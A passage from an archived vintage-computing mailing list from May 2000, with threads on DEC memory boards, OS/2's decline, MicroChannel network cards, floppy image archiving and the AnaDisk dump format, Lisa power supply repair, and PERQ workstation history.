'crossover' to connect two machines? Or must there be a concentrator/hub? > > Cheers > > Geoff Roberts > Unfortunately, there must be a hub. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Fri May 26 05:40:07 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:08 2005 Subject: DEC Memory boards In-Reply-To: from Tony Duell at "May 25, 2000 11:26:23 pm" Message-ID: <200005261040.GAA36046@bg-tc-ppp925.monmouth.com> > > > > > > Is anyone interested in trading a pair of what appear to be two 256K > > Unibus memory boards, made by National Semiconductor Memory Systems > > (these boards have four rows of thirty-two 4164-15 ICs on them), for > > two of the following: > > What am I missing here ? > > 4 rows of 32 64Kbit RAM chips is 4 rows, each of 4*64K bytes. Or a total > of 16 * 64K bytes, or 1 Mbyte. > > These boards are larger than you thought, I think (!). > > Are you sure they're Unibus? The reason I ask is that I've seen similar > boards (hex height, NatSemi) made for VAX11/730 (and I would guess > 11/750) systems. They may look like Unibus boards, but the pinouts of the > A and B edge connectors is totally different! > > -tony These could be 11/44 memory bus memory or MS750/MK11 memory compatible boards. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Fri May 26 05:43:37 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:08 2005 Subject: OS/2 In-Reply-To: from "SUPRDAVE@aol.com" at "May 25, 2000 06:18:58 pm" Message-ID: <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> > In a message dated 5/25/00 5:03:40 PM Eastern Daylight Time, > wilson@dbit.dbit.com writes: > > > On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > > > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. > > > > Last I heard OS/2 was still very much alive, although IBM's attitude > > towards it is surly to say the least. But unlike some companies I could > > mention, IBM knows better than to refuse to accept money from their > > customers Well, they refused to come up with a new OS/2 client and they've basically consolidated into one new fairly EXPENSIVE packaged release with the fixpacks in and new TCP/IP software which will be available before the end of the year. Following that SUPPORT ENDS. Period. > > just because the customers want to buy something other than whatever new > > toy the IBM management is excited about this week. So it will probably > > keep getting *some* support as long as the customers are willing to pay > > for it. > > > > John Wilson > > D Bit > > there will be an OS2 version update later this year (4.5?) which will offer > usb support amongst other things. recently fixpak 13 was announced. of > course, downloading it all and installing it is a major task in itself. Yup... and that's the end of it for OS/2 as far as IBM's concerned. They're pushing migration to either Linux, AIX (RS6000) or a Microsoft Platform. > > DB Young ICQ: 29427634 > > hurry, hurry, step right up! see the computers you used as a kid! > http://members.aol.com/suprdave/classiccmp/museum.htm Bill (a big OS/2 v3/4 fan who pushed for the OS/2 V5 Client which was killed) -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Hans.Franke at mch20.sbs.de Fri May 26 08:06:08 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:08 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FC@MAIL10> Message-ID: <200005261107.e4QB7Hh24326@mail2.siemens.de> > > On Thu, 11 May 2000, Cini, Richard wrote: > > > How do we protect ourselves? My plan, frankly, is to continue with > > > my efforts until someone tells me to stop. > > I say tally ho old chap. That's probably the best course of action. Just > > post the material to at least make it useful until which time you are > > explicitly told by the copyright holder to remove it. The worst they can > > do is ask you to remove it (cease and desist). > Might as well keep this stuff alive as long as there is a need for it and > as long as the original copyright holder has no plans for it. As long as > the original copyright holder is no longer marketing it and it's not being > sold for a profit then I don't see an ethical dilemma. > No ethical dilema here! I don't feel bad about posting this stuff at > all because (1) the equipment isn't being sold any more, (2) the docs have > been left to rot by the original owner and (3) the docs are too valuable to > the vintage computing community to not make them available. Well, there's another, now way in depth article on /. about Abandonware, which is way close to our theme: http://www.slashdor.org/article.pl?sid=00/05/16/1512238&mode=thread Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From rigdonj at intellistar.net Fri May 26 07:58:36 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:08 2005 Subject: bad URL -- RE: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <200005261107.e4QB7Hh24326@mail2.siemens.de> References: <497A9E0467D2D2119B760090271EB8E50E90FC@MAIL10> Message-ID: <3.0.1.16.20000526075836.3bffa358@mailhost.intellistar.net> At 01:07 PM 5/26/00 +1, Guass wrote: >> > On Thu, 11 May 2000, Cini, Richard wrote: >> > > How do we protect ourselves? My plan, frankly, is to continue with >> > > my efforts until someone tells me to stop. > >> > I say tally ho old chap. That's probably the best course of action. Just >> > post the material to at least make it useful until which time you are >> > explicitly told by the copyright holder to remove it. The worst they can >> > do is ask you to remove it (cease and desist). > >> Might as well keep this stuff alive as long as there is a need for it and >> as long as the original copyright holder has no plans for it. As long as >> the original copyright holder is no longer marketing it and it's not being >> sold for a profit then I don't see an ethical dilemma. > >> No ethical dilema here! I don't feel bad about posting this stuff at >> all because (1) the equipment isn't being sold any more, (2) the docs have >> been left to rot by the original owner and (3) the docs are too valuable to >> the vintage computing community to not make them available. > >Well, there's another, now way in depth article on /. >about Abandonware, which is way close to our theme: > >http://www.slashdor.org/article.pl?sid=00/05/16/1512238&mode=thread There's a typo in the URL. Try this one; "http://www.slashdot.org/article.pl?sid=00/05/16/1512238&mode=thread" Joe From SUPRDAVE at aol.com Fri May 26 07:07:36 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:53:08 2005 Subject: MCA Ethernet Cards Message-ID: <29.59ec5e3.265fc308@aol.com> In a message dated 5/26/00 1:31:51 AM Eastern Daylight Time, dlinder@uiuc.edu writes: > I have recently stumbled on large stash of MicroChannel Ethernet Cards. > I'm thinking of taking the whole bunch (brother & I have a large ps/2 > colelction), but would have leftovers for all to partake in. I heard > these are generally hard to find, so let me know if you're interested. > > Ah yes, if I remember, they're various makes & models. keep a lookout for cabletron and 3com 3c509 models. you will have the least compatibility problems with those two NICs and they even work in os/2 most MCA T/R NICs will have a 16/4 sticker on them which is a dead giveaway for token ring. DB Young -> MCA and OS/2 user and enthusiast hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From Hans.Franke at mch20.sbs.de Fri May 26 09:36:09 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:08 2005 Subject: bad URL -- RE: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <3.0.1.16.20000526075836.3bffa358@mailhost.intellistar.net> References: <200005261107.e4QB7Hh24326@mail2.siemens.de> Message-ID: <200005261237.e4QCbJh10728@mail2.siemens.de> > At 01:07 PM 5/26/00 +1, Guass wrote: > >Well, there's another, now way in depth article on /. > >about Abandonware, which is way close to our theme: > >http://www.slashdor.org/article.pl?sid=00/05/16/1512238&mode=thread > There's a typo in the URL. Try this one; > "http://www.slashdot.org/article.pl?sid=00/05/16/1512238&mode=thread" Oops - sorry, at the moment I'm the proud owner of a no longer connected WinNT 3.51 PC and a still not connected Win2000 PC, since non of our domain admins iss allowed to give me the necersary passwords to add the new PC, nor has the time to come by and type it in... So I have my mailer still running on the old PC and the browser on my new ... read, all typed by hand :( I hate networks without all necersary admin rights ... Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From allisonp at world.std.com Fri May 26 07:53:55 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:53:08 2005 Subject: Paper tape format In-Reply-To: <3.0.3.32.20000525211757.009c8320@agora.rdrop.com> Message-ID: > >The reason why I'm asking is because I'm toying with adding a virtual paper > >tape punch/reader to Claus Guiloi's IMSAI emulator. > > Well... for my $0.225 worth (inflation you know)... > > I doubt that there is a real answer for that one, unless you select a > particular operating 'model' for focus on. > > By that I mean, that since neither the Altair or IMSAI had a resident > monitor program or 'native' operating system at first, there were no hard > and fast rules as to what/how you would load code... Well, since they had no rom that is correct however... Both had pre-CP/M "monitors" Mits programming system for example. That loaded as something like intel hex and the editor/assmbler was ascii/intel hex/bin IO as desired. My experience is (I used tty for years and also had a remex HS reader/punch) Intel hex was the standard for portable binaries in the 8080/z80 world. Non portable binaries were always tied to a specific vendor loader but hex was most common. I'd say in the early years P-tape was in the 75-79 timeframe the most portable format compared to floppies or worse yet cassette tape. I still have a punch of intel hex of the cpm image from my first platform I'd put CPM on after ALTAIR/NS*MDS-A hybrid. Allison From allisonp at world.std.com Fri May 26 08:01:31 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:53:08 2005 Subject: MCA Ethernet Cards In-Reply-To: <29.59ec5e3.265fc308@aol.com> Message-ID: > > I have recently stumbled on large stash of MicroChannel Ethernet Cards. > > I'm thinking of taking the whole bunch (brother & I have a large ps/2 > > colelction), but would have leftovers for all to partake in. I heard > > these are generally hard to find, so let me know if you're interested. > > > > Ah yes, if I remember, they're various makes & models. > > keep a lookout for cabletron and 3com 3c509 models. you will have the least > compatibility problems with those two NICs and they even work in os/2 most > MCA T/R NICs will have a 16/4 sticker on them which is a dead giveaway for > token ring. Another is the SMC8013 series NICs, seems to work for me. Allison From steverob at hotoffice.com Fri May 26 08:20:25 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... Message-ID: <2921A6D846E9D31182490050040DC0D6682C39@hoexc101.hotoffice.com> > Anyone who reads this list on even a semi-regular basis knows > that Mr. Rigdon > is well aware of what a short is. Why the put-down? Do you > think that you > are conducting a high-school electric shop class and talking > to a bunch of > eighth-graders? > Personally, I have never received anything from Joe Rigdon > except help when I needed it, which is more than I can say of you. I too have received considerable help from Joe and consider him to be *extremely* competent. Changing the PS in a Lisa is not exactly "Rocket Science" although he *does* have experience in that arena as well ;-) Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/04e94869/attachment-0001.html From jfoust at threedee.com Fri May 26 08:20:28 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:08 2005 Subject: Bootable Floppy from CD? In-Reply-To: <20000525235755.7362.qmail@brouhaha.com> References: <4.3.0.20000525095559.022d1600@pc> <4.3.0.20000525095559.022d1600@pc> Message-ID: <4.3.0.20000526080605.00acf8c0@pc> At 11:57 PM 5/25/00 +0000, Eric Smith wrote: >John Foust wrote: > > The 'dd' approach has a few failings. One, it's not tolerant of > > bad sectors, right? > >No, but then not much PC software is. I normally only worry about >making disk images of good disks; I don't have any use for preserving >bad ones. Assuming that it made sense to save an image of a partially >bad diskette, how would you represent bad sectors? As my web page mentions, Sydex's Anadisk defined a file format that wrapped the sectors, allowing you to mark one as bad. I wish there was a popular and universal way of archiving floppy disk images this way. Our hobby really needs it. The emulation scene must've solved parts of this problem already. If you have a disk with bad sectors and you try the 'dd' approach, it just fails. Where's the fallback? I realize I'm picking nits here. I'm sure 'dd' or rawread/rawrite would serve Chuck's purposes for now, putting a significant dent in his pile of floppies, leaving perhaps only one or two with unarchivable read errors. I have a bunch of 8 inch disks from my Terak, RT-11, CP/M, etc. machines with bad sectors. When I tried to archive my C-64 disks I found plenty with bad areas. I gave up. This might be a good time for one of the disk experts to tell us about common failure modes for various disk drive and media technology. >For dos diskettes, it's just about as easy as tar or zip when either >using mtools, or mounting the image file using the loopback device. Yes, but a search through all your disk images would be a lot of mounting and un-mounting. You'd need to write scripts or tools in either case to aid a search. >As I mentioned, Linux *has* /dev/fd0xx variations for all of the common >PC disk formats. Chuck said "unix" not 'Linux'. :-) - John From steverob at hotoffice.com Fri May 26 08:26:51 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:53:08 2005 Subject: Notes on repairing the Apple Lisa power supply Message-ID: <2921A6D846E9D31182490050040DC0D6682C3E@hoexc101.hotoffice.com> > FWIW I usually use an old disk drive. It's very handy since many > computers already have a power connector that will plug > directly onto the > drive and it provides a load to both the +12 and +5 volt > power supplies. > Joe, Aren't you afraid of damaging the disk drive by doing that? Just kidding... ;-) Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/9959a0e9/attachment-0001.html From jfoust at threedee.com Fri May 26 08:27:15 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: References: <3.0.1.16.20000525182150.0e17d49a@mailhost.intellistar.net> Message-ID: <4.3.0.20000526082635.0213c3c0@pc> At 11:36 PM 5/25/00 -0400, R. D. Davis wrote: >and, then you learn that >he's fried all of the chips in both machines and decides to weld 'em >both together, glue a cushon to the top of one of them, and sell it on >e-bay as a high-tech ottoman? And then he sold it on eBay with a description that said that "it might be a Cray." - John From jfoust at threedee.com Fri May 26 08:25:31 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: References: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <4.3.0.20000526082119.01fcb6b0@pc> At 01:49 AM 5/26/00 +0100, Tony Duell wrote: >I think I've seen only a couple of Lisas in my lifetime -- >contrast that to about 20 PERQs, 3 or 4 D-machines, and probably over 100 >PDP11s. Your beloved PERQ seems like a tremendous rarity to me. I've only seen one, in the 70's exhibit at SIGGRAPH 98, where I exhibited one of my Teraks. I do not recall anyone ever saying "Oh, there's a PERQ down on the loading dock in Trenton, NJ that's going to the Dumpster if no one grabs it by Friday." - John From jfoust at threedee.com Fri May 26 08:30:25 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:08 2005 Subject: VCFe Pictures In-Reply-To: <200005260935.e4Q9Zuh08606@mail2.siemens.de> References: Message-ID: <4.3.0.20000526082950.02c3f340@pc> At 11:35 AM 5/26/00 +0001, Hans Franke wrote: >It's a short collection with one (frontal) picture of each >displayed unit. Sorry, the descriptions are at the moment >only availabel in German - I hope to change this soon. http://babelfish.altavista.digital.com/ translated it reasonably well... - John From Hans.Franke at mch20.sbs.de Fri May 26 11:14:25 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:08 2005 Subject: VCFe Pictures In-Reply-To: <4.3.0.20000526082950.02c3f340@pc> References: <200005260935.e4Q9Zuh08606@mail2.siemens.de> Message-ID: <200005261415.e4QEFYh26662@mail2.siemens.de> > At 11:35 AM 5/26/00 +0001, Hans Franke wrote: > >It's a short collection with one (frontal) picture of each > >displayed unit. Sorry, the descriptions are at the moment > >only availabel in German - I hope to change this soon. > http://babelfish.altavista.digital.com/ translated it reasonably well... No offense intended, but I prefer to issue my own tortured version of English. Servus H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From foo at siconic.com Fri May 26 09:17:53 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:08 2005 Subject: Bootable Floppy from CD? In-Reply-To: <4.3.0.20000526080605.00acf8c0@pc> Message-ID: On Fri, 26 May 2000, John Foust wrote: > As my web page mentions, Sydex's Anadisk defined a file format that > wrapped the sectors, allowing you to mark one as bad. I wish there > was a popular and universal way of archiving floppy disk images > this way. Our hobby really needs it. The emulation scene must've > solved parts of this problem already. Why doesn't the collective CC define this standard then? Who better to define standards for archiving old computer software than a group of people devoted to it? Unless someone finds an already well-documented standard (in which case we should review it, make any modifications necessary to fix it, and then adopt that as THE standard) then we should create a standards body to address these things. If we take it one step further we can then start defining standards for other types of things having to do with vintage computers. A storage medium archiving standard is definitely a good one to start with. I am serious about this. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From jfoust at threedee.com Fri May 26 11:39:44 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:08 2005 Subject: Bootable Floppy from CD? In-Reply-To: References: <4.3.0.20000526080605.00acf8c0@pc> Message-ID: <4.3.0.20000526112918.020b9c20@pc> At 07:17 AM 5/26/00 -0700, Vintage Computer GAWD! wrote: >On Fri, 26 May 2000, John Foust wrote: > > As my web page mentions, Sydex's Anadisk defined a file format that > > wrapped the sectors, allowing you to mark one as bad. I wish there > >Why doesn't the collective CC define this standard then? Who better to >define standards for archiving old computer software than a group of >people devoted to it? I'm sure there are several candidates out there. http://www.sydex.com/other.html once had info about Anadisk but now it's gone. My hard drive had: 10/22/97 02:14p 122,783 Anadisk-2_07.zip 09/03/92 12:50p 78,502 ANADISK.DOC 09/03/92 12:50p 163,747 ANADISK.EXE Below is the section from the manual that describes their file format. - John The Dump operation writes a specified area of a diskette to a DOS file. After selecting the Dump option from the Main Menu, the diskette drive containing the diskette to be read, the range of cylinders and sides to be written to a specified DOS file are selected. Each sector written to the file is optionally preceded by an 8-byte header record of the following form: +------+------+------+------+------+------+----------+ | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | +------+------+------+------+------+------+----------+ ACYL Actual cylinder, 1 byte ASID Actual side, 1 byte LCYL Logical cylinder; cylinder as read, 1 byte LSID Logical side; or side as read, 1 byte LSEC Sector number as read, 1 byte LLEN Length code as read, 1 byte COUNT Byte count of data to follow, 2 bytes. If zero, no data is contained in this sector. All sectors occurring on a side will be grouped together; however, they will appear in the same order as they occurred on the diskette. Therefore, if an 8 sector-per-track diskette were scanned which had a physical interleave of 2:1, the sectors might appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. After the last specified cylinder has been written to the DOS file, AnaDisk returns to the Main Menu. From mgregory at vantageresearch.com Fri May 26 11:49:08 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:53:08 2005 Subject: Documenting how old computers were used Message-ID: <004e01bfc732$4fad1a60$0200a8c0@marvin> When people receive complete systems (with software, manuals, etc.) do you make any attempt to document the state of the system when you received it? For example, do you record what programs were on the hard drive, what peripherals were included, what the system was used for (either what you were told, or could infer), etc? It seems to me that increasingly, social historians and museums are more interested in _how_ an artifact was used than in the thing itself. But often , especially when I receive multiple examples of the same system, I mix and match parts and programs to suit myself, and lose track of which disk drive came with which CPU, which software was originally installed on each, etc. Information is obviously being lost here. I'd be interested to know what other list members are doing, and how important you think the information being lost is. Regards, Mark Gregory From rdd at smart.net Fri May 26 11:54:43 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:08 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: <4.3.0.20000526082119.01fcb6b0@pc> Message-ID: On Fri, 26 May 2000, John Foust wrote (to Tony Duell): > Your beloved PERQ seems like a tremendous rarity to me. I've only > seen one, in the 70's exhibit at SIGGRAPH 98, where I exhibited > one of my Teraks. I do not recall anyone ever saying "Oh, there's > a PERQ down on the loading dock in Trenton, NJ that's going to > the Dumpster if no one grabs it by Friday." Oddly, that's sort of what hapened to me. About 10 years ago when looking for a UNIX box, I saw this largish machine with a 19" monitor at a hamfest, but it had already been sold. However... I was given the telephone number of a used computer warehouse where I could find another PERQ. After driving there to purchase it, I was told that I'd have to take away a second T2 chasis at no cost (that was going to be scrapped) in order to be able to buy the other one. To make a long story short, the above experience ended up with me doing a lot of detective work to find out what a PERQ was; couldn't find anyone who'd even heard of one (and that was 10 years ago!) for a while, and eventually got through to Accent Systems in Pittsburgh, the company that had been set up to support the PERQs after their demise, then drove up to Pittsburgh to see what information I could obtain, as well as getting a mouse (Kriz tablet)... ended up learning lots of things not covered in the documentation, like how to format a disk and install the POS and Accent operating systems, how to add a second disk, etc... wow, I'm glad I took a notebook and pen with me! Also obtained some maintenance floppies, etc. that allowed one to format and install a hard disk, that were never part of the OS distributions, which would probably have vanished into oblivion. Learned lots of interesting PERQ history and trivia as well. Fortunately, around that time, I'd learned of a couple of others who had PERQs, and was able to notify them of this discovery (Accent Systems) so they could also get bits for their PERQs; fortunately, one of these people lived in Pittsburgh (if he's reading this, perhaps he'll join in the conversation) and was able to rescue a lot more PERQ stuff from Accent Systems than I could haul back here before it went away, thus preserving much PERQ history; he also did a lot of research into the PERQs and their history and is very knowlegeable about them. Unfortunately, a _huge_ amount of the really good stuff went from Accent to some company in Japan called Rikei (sp?) before we could get any of it; never did find out what they wanted all those PERQs and spare PERQ bits for; does anyone know? All in all, the huge volumes of PERQ-related e-mail, the PERQ mailing list and newsgroup, getting to visit Accent Systems and MegaScan (the MegaScan monitor was a spinoff of PERQ Systems), talking with some some of the PERQs creators, etc. was all great fun! ...not to mention the interesting exercise of printing out the entire source code for the POS operating system. Back in the early 1990's, many people shared quite a bit of their PERQ related knowledge and memories, which made for fascinating reading! Then, there was the PERQ mailing list that someone (a co-conspirator that I won't reveal the identity of - I don't think he was ever on this list) set up, where we automagically subscribed everyone we had the e-mail address of who was known to have knowledge of PERQs. That resulted in the very interesting PERQ-Fanatics vs. CMU PERQ-haters debate. :-) I know, we shouldn't have automagically subscribed all those people to the list, but without doing so, some interesting bits of history may have vanished into oblivion. Had it not been for some hackers in the U.K., one very highly skilled hardware hacker in particular - who may be reading this list and will probably comment on this message :-), much of the information needed for properly repairing and preserving PERQs would not be available - much of it available to us only because of his efforts and hardware knowledge, and had he and others not rescued some PERQ equipment that I couldn't find a way to get shipped over here without spending a fortune, more PERQ history would be lost. Trivia question: does anyone know anything about a software program called "Strawberry Fairchild and the Green Flame" that runs on any other system? It's a work of surrealistic computer art that was written for the PERQs by Dislocated Lady Software. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From Hans.Franke at mch20.sbs.de Fri May 26 14:13:16 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: References: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <200005261714.e4QHEP125187@mail2.siemens.de> > > Lisas out there. Even with blown components, he could still have sold them > > for hundreds "as-is" on eBay, where they would provide parts to revive > Yes, right... fry that system and then sell it on e-bay, that's ok, > because it will still bring a high price, so who cares whether it > works, right? Turn the monitors into fishbowls, remove core memory > and sell it in a picture frame, because, who cares if these are used > again since they can bring big bucks on e-bay. Well, is this now the right time to tell that I'm still searching for a VT220 in _very_ good shape to turn it into a fish tank ? Am I now one of the bad guys ? Or just nostalgic about a trade show I visited around 1979, where had a first look at this incredible 3D Terminal ... SCNR Hans Does someone remember the VAXbar ? -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From jrkeys at concentric.net Fri May 26 12:15:42 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:53:08 2005 Subject: Documenting how old computers were used References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <000e01bfc736$06bd64a0$fb721fd1@default> I try and keep all parts together as I got them and I document each piece with serial numbers, part numbers, dates printed on the labels, and any other information that I can get off the units themselves. I also write any important information given to me by the person I get the item from. Sometime I learn important historical information from the person if they are the original owner. When I get the museum going I would like everything to be in factory shipped order. and working if possible. I use a zip drive to store all this information on so that I do fill up my main system's hard drive. John Keys ----- Original Message ----- From: Mark Gregory To: Sent: Friday, May 26, 2000 11:49 AM Subject: Documenting how old computers were used > When people receive complete systems (with software, manuals, etc.) do you > make any attempt to document the state of the system when you received it? > For example, do you record what programs were on the hard drive, what > peripherals were included, what the system was used for (either what you > were told, or could infer), etc? > > It seems to me that increasingly, social historians and museums are more > interested in _how_ an artifact was used than in the thing itself. But > often , especially when I receive multiple examples of the same system, I > mix and match parts and programs to suit myself, and lose track of which > disk drive came with which CPU, which software was originally installed on > each, etc. Information is obviously being lost here. > > I'd be interested to know what other list members are doing, and how > important you think the information being lost is. > > Regards, > Mark Gregory > > From Technoid at cheta.net Fri May 26 12:29:32 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 References: <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> Message-ID: <392EB47C.5D0790AF@cheta.net> I really can't blame IBM for being 'surly' about OS/2. They had and still have the best desktop operating system ever written for any computer and the market shunned and reviled it without even first having a look. Microsoft was really scared in 94/95'. They lied about availability and features of thier own products and Threated thier customers with financial ruin if they even spoke about OS/2. If you laid the golden egg and everyone continually crapped on you for it, you would be surly too. The market is so steeped in MS-generated ignorance and bigotry against OS/2 that most people in this group have little or no experience with it. In 1993 I recognized OS/2 for what it is and have run it ever since. IBM had the hydrogen bomb when MS and others were still setting off firecrackers. Still today, without the release of a new OS/2 client in four years, the operating system stomps any competition. There are a few warts on it now due to a lack of development but those are generally shared by Linux and the others. I can't speak for BeOS yet. OS/2's warts primarily are in the multimedia area. There are very few native clients for the newer MM formats such as Real Audio, ASF, etcetera. Some can be used by taking advantage of OS/2's ability to seamlessly integrate Win3x clients but it isn't enough. Now, after nine years of FUD, lies, and the ignorance that fostered, some client's now have a legitimate reason to run Windows. Yes, I'm pissed about it. I may be forced to run something incomplete and messy (Linux) or something half-assed (Windows) but I don't have to like it. Every time I show a warp system to a customer or friend they allways say something kin to 'how the hell did this stay a secret?!' and 'why is anyone running windows'!!. regards Bill Pechter wrote: > > In a message dated 5/25/00 5:03:40 PM Eastern Daylight Time, > > wilson@dbit.dbit.com writes: > > > > > On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > > > > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. > > > > > > Last I heard OS/2 was still very much alive, although IBM's attitude > > > towards it is surly to say the least. But unlike some companies I could > > > mention, IBM knows better than to refuse to accept money from their > > > customers > > Well, they refused to come up with a new OS/2 client and they've > basically consolidated into one new fairly EXPENSIVE packaged release > with the fixpacks in and new TCP/IP software which will be available > before the end of the year. Following that SUPPORT ENDS. Period. > > > > just because the customers want to buy something other than whatever new > > > toy the IBM management is excited about this week. So it will probably > > > keep getting *some* support as long as the customers are willing to pay > > > for it. > > > > > > John Wilson > > > D Bit > > > > there will be an OS2 version update later this year (4.5?) which will offer > > usb support amongst other things. recently fixpak 13 was announced. of > > course, downloading it all and installing it is a major task in itself. > > Yup... and that's the end of it for OS/2 as far as IBM's concerned. > They're pushing migration to either Linux, AIX (RS6000) or a Microsoft Platform. > > > > > DB Young ICQ: 29427634 > > > > hurry, hurry, step right up! see the computers you used as a kid! > > http://members.aol.com/suprdave/classiccmp/museum.htm > > Bill > > (a big OS/2 v3/4 fan who pushed for the OS/2 V5 Client which was killed) > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? From xds_sigma7 at hotmail.com Fri May 26 12:32:07 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:53:09 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] Message-ID: <20000526173207.71010.qmail@hotmail.com> Heh, I've been considering turning this 8650 hulk I know of into a VAXshelf... It'd be a great bookshelf for my gray wall ;p FYI, before the flames start, the cpu boards are 1) not in the machine, and 2) broken. I know this cuz I dug them out of a nasty container of junk at the scrap yard :( But at least the 8650 wouldn't take much juice to run, at least not compared to my 4381... Takes much less sans power supplies though! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From cisin at xenosoft.com Fri May 26 12:41:45 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <392EB47C.5D0790AF@cheta.net> Message-ID: Don't forget that OS/2 was written by Gordon Letwin AT MICROSOFT! You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft Press. -- Grumpy Ol' Fred cisin@xenosoft.com From marvin at rain.org Fri May 26 12:51:56 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 References: Message-ID: <392EB9BC.A0C23734@rain.org> "Fred Cisin (XenoSoft)" wrote: > > Don't forget that OS/2 was written by Gordon Letwin > AT MICROSOFT! > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > Press. I think you mean "who is AT MICROSOFT now". IIRC, he was not at Microsoft when he was originally working on OS/2. From dhquebbeman at theestopinalgroup.com Fri May 26 12:57:31 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:09 2005 Subject: Documenting how old computers were used Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD56@tegntserver.tegjeff.com> > I'd be interested to know what other list members are doing, and how > important you think the information being lost is. I'm glad you posted this. I'm effecting a rescue of a Prime 2455 system, which I should receive in a week. As it stands, I think this already may be parts of different systems, but I'll do as you suggest, and make note of what was installed on it when I first fire it up. Any other Pr1me fans hanging out here??? -doug q From xds_sigma7 at hotmail.com Fri May 26 13:04:45 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 Message-ID: <20000526180445.71433.qmail@hotmail.com> Irregardless, IBM paid Microsoft to develop OS/2... there's even a real MS-branded OS/2, but they sold it for less than a year, so its a bit less than common... amusingly, LAN Manager REQUIRES OS/2 to run, and MS kept selling LAN Manager for a good amount of time after they canned OS/2... Almost everyone under the sun had their own little branded LAN Manager version once, such as 3Com, DEC, 